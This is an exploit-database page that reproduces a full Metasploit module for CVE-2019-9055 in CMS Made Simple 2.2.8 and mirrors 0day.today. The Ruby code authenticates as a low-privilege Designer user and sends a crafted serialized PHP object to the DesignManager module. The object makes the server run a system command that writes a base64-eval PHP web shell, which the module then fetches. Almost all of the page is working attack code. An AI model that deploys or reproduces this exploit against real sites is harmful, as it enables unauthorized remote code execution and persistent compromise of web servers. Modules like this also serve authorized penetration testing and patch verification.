Lucene search
K

CMS Made Simple 2.2.8 Remote Code Execution Exploit

🗓️ 14 Nov 2019 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 3461 Views

CMS Made Simple 2.2.8 Remote Code Execution Exploit - Unprivileged user with Designer permission can achieve object injection

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-9055
13 Nov 201914:45
circl
CVE
CVE-2019-9055
26 Mar 201916:25
cve
Cvelist
CVE-2019-9055
26 Mar 201916:25
cvelist
Metasploit
CMS Made Simple Authenticated RCE via object injection
1 Nov 201911:11
metasploit
NVD
CVE-2019-9055
26 Mar 201917:29
nvd
OpenVAS
CMS Made Simple < 2.2.10 Multiple Vulnerabilities
12 Mar 201900:00
openvas
OSV
CVE-2019-9055
26 Mar 201917:29
osv
Packet Storm
CMS Made Simple 2.2.8 Remote Code Execution
13 Nov 201900:00
packetstorm
Prion
Design/Logic Flaw
26 Mar 201917:29
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CMS Made Simple Authenticated RCE via object injection',
      'Description' => %q(
        An issue was discovered in CMS Made Simple 2.2.8.
        In the module DesignManager (in the files action.admin_bulk_css.php
        and action.admin_bulk_template.php), with an unprivileged user
        with Designer permission, it is possible to reach an unserialize
        call with a crafted value in the m1_allparms parameter,
        and achieve object injection.

        This module has been successfully tested on CMS Made Simple versions
        2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
      ),
      'Author' => [
        'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9055'],
        ['CWE', '74'],
        ['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
        ['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
      ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => [ARCH_PHP],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 26 2019'))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )
    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def multipart_form_data(uri, data, message)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'cookie' => @cookies
    )
  end

  def post(uri, data)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'vars_post' => data,
      'cookie' => @cookies
    )
  end

  def get(path, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, path, filename),
      'method' => 'GET'
    )
  end

  def check
    res = get('', 'index.php')
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body.match?(/CMS Made Simple/i)
      return CheckCode::Safe
    end

    version = Gem::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version <= Gem::Version.new('2.2.9.1')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def login
    data = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'loginsubmit' => 'Submit'
    }
    res = post('login.php', data)

    unless res
      fail_with(Failure::Unreachable,
        'A response was not received from the remote host')
    end

    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
      fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    vprint_good("#{peer} - Authentication successful")
    @csrf_name = Regexp.last_match(1)
    csrf_val = Regexp.last_match(2)
    @csrf = { @csrf_name => csrf_val }
    @cookies = res.get_cookies
  end

  def send_injection
    # prepare shell command
    shell_name = rand_text_alpha(8..12) + '.php'
    cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
    cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"

    # prepare serialized object
    final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
    final_payload += "\x00" + 'dm_xml_reader' + "\x00"
    final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
    final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
    final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
    final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'

    # create message with payload
    message = Rex::MIME::Message.new
    message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
    message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
    message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
    data = message.to_s

    # send payload
    payload_res = multipart_form_data('moduleinterface.php', data, message)
    fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
    register_files_for_cleanup(shell_name)
    # open shell
    res = get('admin', shell_name)
    if res && res.code == 404
      print_error "Shell #{shell_name} not found"
    end
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include?(check)
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end
    login
    send_injection
  end
end

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation